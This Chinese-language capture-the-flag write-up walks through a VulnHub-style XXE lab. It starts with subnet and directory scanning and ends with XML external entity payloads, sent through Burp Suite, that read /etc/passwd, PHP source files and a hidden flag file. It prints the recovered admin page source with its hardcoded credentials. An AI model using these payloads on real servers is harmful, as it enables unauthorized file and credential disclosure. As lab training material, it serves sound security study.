一、配置靶场
第一步:打开kali,作为攻击机,打开是黑屏不要蒙圈,是正常的

第二步:配置局域网主机
探测局域网内的所有主机--
1、查看虚拟机的网络配置

2、查看到我的子网地址为192.168.189.0

第三步:使用御剑端口扫描工具(其他的也可以,换汤不换药)
1、查看192.168.189.1到192.168.189.255的80端口

2、查到这个ip和其他的不一样(突兀),就是它了

3、访问这个查到的ip地址,发现是web服务是apache

第四步:使用目录探测工具探测
192.168.189.151(我是用的WebRobot工具),我查到一颗响应码是200的链接

第五步:打开查到的链接,查到该链接下有两个目录

第六步:访问/xxe的目录(192.168.189.151/xxe),顺利打开靶场

二、解题
第一步:先随便输入,看到没反应

第二步:burpsuite抓包
看到了xml的代码,存在xxe漏洞

第三步:发送到repeater重放器,我们在前面看到是apache的服务,构造xxe语句指向/etc/passwd,看看有没有回显
<!DOCTYPE root[
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
&xxe;//把这个放在用户名那里
没有有用的东西

但是好消息是xxe语句有效果
第四步:接着查看其他目录
1、查看apache首页的默认目录/var/www/html/,发现还是错误

2、使用PHP协议查看php文件里面有啥
<!DOCTYPE root[
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=/var/www/html/xxe/index.php">
]>
&xxe;//把这个放在用户名那里
查看到一堆乱码

复制进行base64解码,解码后是php文件的源代码Base64 编码/解码 - 锤子在线工具 (toolhelper.cn)

我查看代码里面没有和用户名和密码相关的
3、查看admin.php,base64解码查看php源代码Base64 编码/解码 - 锤子在线工具 (toolhelper.cn)
<?php
session_start();
?>
<html lang = "en">
<head>
<title>admin</title>
<link href = "css/bootstrap.min.css" rel = "stylesheet">
<style>
body {
padding-top: 40px;
padding-bottom: 40px;
background-color: #ADABAB;
}
.form-signin {
max-width: 330px;
padding: 15px;
margin: 0 auto;
color: #017572;
}
.form-signin .form-signin-heading,
.form-signin .checkbox {
margin-bottom: 10px;
}
.form-signin .checkbox {
font-weight: normal;
}
.form-signin .form-control {
position: relative;
height: auto;
-webkit-box-sizing: border-box;
-moz-box-sizing: border-box;
box-sizing: border-box;
padding: 10px;
font-size: 16px;
}
.form-signin .form-control:focus {
z-index: 2;
}
.form-signin input[type="email"] {
margin-bottom: -1px;
border-bottom-right-radius: 0;
border-bottom-left-radius: 0;
border-color:#017572;
}
.form-signin input[type="password"] {
margin-bottom: 10px;
border-top-left-radius: 0;
border-top-right-radius: 0;
border-color:#017572;
}
h2{
text-align: center;
color: #017572;
}
</style>
</head>
<body>
<h2>Enter Username and Password</h2>
<div class = "container form-signin">
<?php
$msg = '';
if (isset($_POST['login']) && !empty($_POST['username'])
&& !empty($_POST['password'])) {
if ($_POST['username'] == 'administhebest' &&
md5($_POST['password']) == 'e6e061838856bf47e1de730719fb2609') {
$_SESSION['valid'] = true;
$_SESSION['timeout'] = time();
$_SESSION['username'] = 'administhebest';
echo "You have entered valid use name and password <br />";
$flag = "Here is the <a style='color:FF0000;' href='/flagmeout.php'>Flag</a>";
echo $flag;
}else {
$msg = 'Maybe Later';
}
}
?>
</div> <!-- W00t/W00t -->
<div class = "container">
<form class = "form-signin" role = "form"
action = "<?php echo htmlspecialchars($_SERVER['PHP_SELF']);
?>" method = "post">
<h4 class = "form-signin-heading"><?php echo $msg; ?></h4>
<input type = "text" class = "form-control"
name = "username"
required autofocus></br>
<input type = "password" class = "form-control"
name = "password" required>
<button class = "btn btn-lg btn-primary btn-block" type = "submit"
name = "login">Login</button>
</form>
Click here to clean <a href = "adminlog.php" tite = "Logout">Session.
</div>
</body>
</html>
看到用户名administhebest和加密后经过MD5加密的密码
e6e061838856bf47e1de730719fb2609,将密码解码后为
admin@123`


第五步:访问admin.php,使用查到的用户名和密码登陆

第六步:看到了一个flag,点击,你会看到一个套娃

第七步:查看这个新的php文件,有些无语了吧,继续吧。
你可以选择按照上面的第四步查看的文件的步骤一步一步查看。也可以选择超近道,直接访问/xxe/flagmeout.php.
进去后你会看到,空空如也。。。。。

第八步:查看页面的源代码
终于找到你,还好我没放弃~
但是
查看到了flag??? in???不会又是编码吧???

第九步:解码flag后面括号里的东西
而且是base32编码。。。出来后还是?乱码??

第十步:再次解码
这次是base64解码。。。

第十一步:查看这个目录/etc/.flag.php
<!DOCTYPE root[
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/.flag.php">
]>
&xxe;//放到name后面
第十二步:复制,解码
我没想到能写到十二步。。。。。。

第十三步:复制,自己创建一个PHP文件放到自己的的localhost访问
我创建的是localhost.222.php,访问后看到flag的内容
